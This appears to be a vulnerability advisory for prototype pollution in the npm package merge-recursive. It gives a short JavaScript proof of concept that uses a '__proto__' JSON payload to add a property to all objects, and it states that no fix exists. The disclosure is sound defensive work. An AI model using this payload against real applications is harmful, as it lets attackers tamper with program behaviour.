QID 981119

All versions of `merge-recursive` are vulnerable to Prototype Pollution. When malicious user input is merged with another object it allows the attacker to modify the prototype of Object via `__proto__` causing the addition or modification of an existing property.

Proof of concept:

```
var merge = require('merge-recursive').recursive;
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';

var a = {};
console.log("Before : " + a.oops);
merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);
```


## Recommendation

There is currently no fix available.

Successful exploitation of this vulnerability may affect the confidentiality, integrity, and availability of the targeted user.